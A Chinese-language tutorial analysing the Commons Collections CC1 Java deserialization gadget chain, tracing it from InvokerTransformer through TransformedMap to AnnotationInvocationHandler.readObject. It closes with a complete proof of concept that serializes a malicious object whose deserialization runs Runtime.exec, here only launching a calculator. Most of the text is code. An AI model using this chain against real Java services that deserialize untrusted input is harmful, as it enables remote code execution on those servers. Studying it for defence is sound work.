0%

java反序列化-cc1链

前言

Apache Commons Collections是java官方集合工具的加强补丁包,专门补原生java集合不好用,功能缺失的问题,cc链就是在Commons Collections包中的反序列化利用链,本文分析的cc1链依赖环境:JDK版本:1.8.0_8u65,Commons Collections 3.2.1及以下版本

漏洞原理分析

cc1链路流程如下

1
AnnotationInvocationHandler.readObject()----AbstractMapEntryDecorator.setValue()---TransformedMap.checkSetValue()---ChainedTransformer.transform()--InvokerTransformer. transform()---Runtime.getruntime().exec()

java原生的反序列化要满足两个条件,入口类实现序列化接口并且重写了readObject函数,重写之后才有可能执行危险的方法。

Transformer接口

image-20260428160013702

这里一个函数调用接口,输入任意object对象,输出转换后新的object类型对象。找一下继承这个接口的所有实现类

image-20260428160522510

InvokerTransformer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

public class InvokerTransformer implements Transformer, Serializable{
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

InvokerTransformer实现了Transformer接口并且重写了transformer方法 ,关键代码就在

1
2
3
4
Class cls = input.getClass(); //获取一个完整类的原型
Method method = cls.getMethod(iMethodName, iParamTypes); //获取了类的方法
return method.invoke(input, iArgs); //调用方法

这三个参数:方法名,参数类型,参数,这三个参数

1
2
3
4
5
6
7
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

这三个参数是我们可控的,分析到这就可以执行任意命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;

import javax.xml.transform.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.util.Properties;

public class test1 {
public static void main(String[] args) {
Transformer invoker = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
invoker.transform(Runtime.getRuntime());


}
}

image-20260428172545247

这个类是链子的终点,接下来需要往上找,看一下那些类调用了这个transform方法

image-20260428174158909

TransformedMap

这里看TransformedMap类下的checkSetvalue方法

1
2
3
4
5
6
7
8
9
 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer; //可控
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这就相当于一个实现自动转换的Map包装类,在往Map中放值是自动执行了这个checkSetValue.

这里会直接调用valueTransformer的transform方法,如果我们传入的valueTransformer是invokerTransformer的对象,等价于

1
valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe")

由于修饰符是protected,只有自己这个类可以调用,外部类不能直接调用,在TransformedMap中有一个静态方法

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

这个decorate方法调用了TransformedMap的构造方法,

1
2
3
4
5
6
7
8
9
10
11
12
public class test1 {
public static void main(String[] args) {
Transformer invoker = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
// invoker.transform(Runtime.getRuntime());
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker);
}
}

这里就是new了一个TransformedMap对象,只要能够修改值,就会触发

1
valueTransformer.transform(Runtime.getRuntime())->InvokerTransformer.transform(Runtime.getRuntime())->Runtime.getRuntime().exec("calc.exe")

接下来就是要想办法调用这个checkSetVaule方法.

AbstractMapEntryDecorator.setValue()

image-20260429164949390

这里看到只有一个位置调用了checkSetValue方法,就是TransformedMap的父类AbstractInputCheckedMapDecorator有一个MapEntry类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

}

我们首先更遍历map拿到键值对,然后调用setValue,value就是Runtime.getRuntime()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class test1 {
public static void main(String[] args) {
Transformer invoker = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
// invoker.transform(Runtime.getRuntime());
HashMap<Object,Object> map=new HashMap<>();
map.put("aaa", "bbb");
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker);
for(Map.Entry entry:transformedmap.entrySet()){
entry.setValue(Runtime.getRuntime());

}
}
}

再理一下思路,首先实例化一个hashMap,放入一个键值对,然后把这个当作参数传入TransformedMap.decorate,上面说了执行decorate会实例化一个对象,这个对象也是Map类型,这个map是被包装过的map,然后执行了setValue。就是

1
value = parent.checkSetValue(Runtime.getRuntime());

这里的parent是transformedmap,因为TransformedMap继承了AbstractInputCheckedMapDecorator,这个父类又重写了setValue方法,

这个重写后有调用了checkSetValue。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
entry.setValue(Runtime.getRuntime())

MapEntry.setValue(重写)

parent.checkSetValue(value)

TransformedMap.checkSetValue(value)

valueTransformer.transform(value)

InvokerTransformer.transform(Runtime.getRuntime())

反射执行 exec("calc.exe")

弹出计算器

image-20260429200447700

接下来就是寻找那个方法调用了setValue,要是还重写了readObject方法就更好了。然后找到了AnnotationInvocationHandler类

AnnotationInvocationHandler

image-20260429201547373

这个类是可序列化的,然后就是重写了readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {

throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}

他会遍历map调用setValue,看一下构造函数

1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

主要看两个参数,type是注解的类型,随便写一个就行,后面的map就传入我们TransformedMap,这个类定义的时候没写pubilc,需要使用反射构造,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public class test1 {
public static void main(String[] args) throws Exception {
Transformer invoker = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
);
// invoker.transform(Runtime.getRuntime());
HashMap<Object,Object> map=new HashMap<>();
map.put("aaa", "bbb");
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,invoker);
Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class);
constructorcc.setAccessible(true);
Object cc1= constructorcc.newInstance(Override.class,transformedmap);
serialize(cc1);
unserialize("cc1.txt");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("cc1.txt"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}



运行没有弹计算器,还要需要解决三个问题

问题1-Runtime.getRuntime()对象不可被反序列化

首先看一下Runtime

image-20260429212158751

这个类是没有serializable接口的,不能被反序列化,但是class对象可以序列化

image-20260429212549601

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public class test2 {
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class cc =Runtime.class;
Method getRuntime=cc.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null); //等价于Runtime r=Runtime.getRuntime();
Method exec=cc.getDeclaredMethod("exec",String.class);
exec.invoke(r,"calc");


}
}

这里在说一下这个Runtime类,

1
2
3
4
5
6
7
public class Runtime {
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}
private Runtime() {}

代码中定义的构造函数是private,外部不能直接new对象,通过这个Runtime方法可以创建可以Runtime对象,currentRuntime,相当于一种单例模式。获得Runtime对象就可以通过反射执行命令

image-20260429221023974

使用反射就可以调用方法

1
2
3
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

在Commons Collections库中存在的ChainedTransformer类,他也存在transform方法可以帮助我们简化上述代码

1
2
3
4
5
6
7
8
9
10
11
  public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

代码关键就是这个for循环,每一个transformer依次执行,前一个输出变成下一个输入,直到全部执行完

1
2
3
4
5
6
7
8
9
Transformer[] transformers = new Transformer[]{
new InvokerTransformer
("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer
("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer
("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

然后解决完这个问题,在执行setValue前还有两个if语句。

问题2-两个if问题

1
2
3
4
if (memberType != null) {  // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))

第一个if是判断megberType是否为空,下个断点看一下

image-20260506160454163

代码到这memberType为空,一个if都过不了没法执行下面的代码,现在就是要解决memberType为空的问题,看一下相关代码

1
2
3
4
5
annotationType = AnnotationType.getInstance(type);  
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); //获得注解的成员名
String name = memberValue.getKey(); //传入map中的key
Class<?> memberType = memberTypes.get(name); //去注解中的查询key

这里需要传入的map中的key与注解中拿到的key相同才不会为空,我们传入的注解是Override,

image-20260506170555201

这个为空,需要换一个注解

image-20260506170721753

我们只需要修改注解为Target还有map中的key为value就可以通过第一个if

image-20260506171241275

第二个if它俩能不能强转,肯定强转不了的。通过了这两个if

问题3- setValue 方法参数不可控

1
2
3
4
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

这里的setValue的参数不可控我们没办法达到目的,需要使用Transformer接口的一个子类ConstantTransformer

1
2
3
4
5
6
7
public class ConstantTransformer implements Transformer, Serializable {
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
} public Object transform(Object input) {
return iConstant; //返回值跟输入的值没有关系,
}

这个transform方法无论传入什么参数都只会返回iConstant,而iConstant 属性在 ConstantTransformer 的构造方法中被赋值,接下来把iConstant属性赋值为Runtime.class,放进构造的数组最顶层,ConstantTransformer 的 transform 方法都会返回Runtime.class,然后就开始调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import javax.xml.transform.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;

public class test1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //传入固定参数Runtime.class
new InvokerTransformer
("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer
("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer
("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
map.put("value", "bbb"); //传入键为value通过if判断
Map<Object,Object> transformedmap= TransformedMap.decorate(map,null,chainedTransformer);
Class cc=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructorcc=cc.getDeclaredConstructor(Class.class,Map.class);
constructorcc.setAccessible(true);
Object cc1= constructorcc.newInstance(Target.class,transformedmap); //注解为Target通过if判断
serialize(cc1);
unserialize("cc1.txt");
}

public static void serialize(Object object) throws Exception{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("cc1.txt"));
oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream=new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
}

image-20260506205102439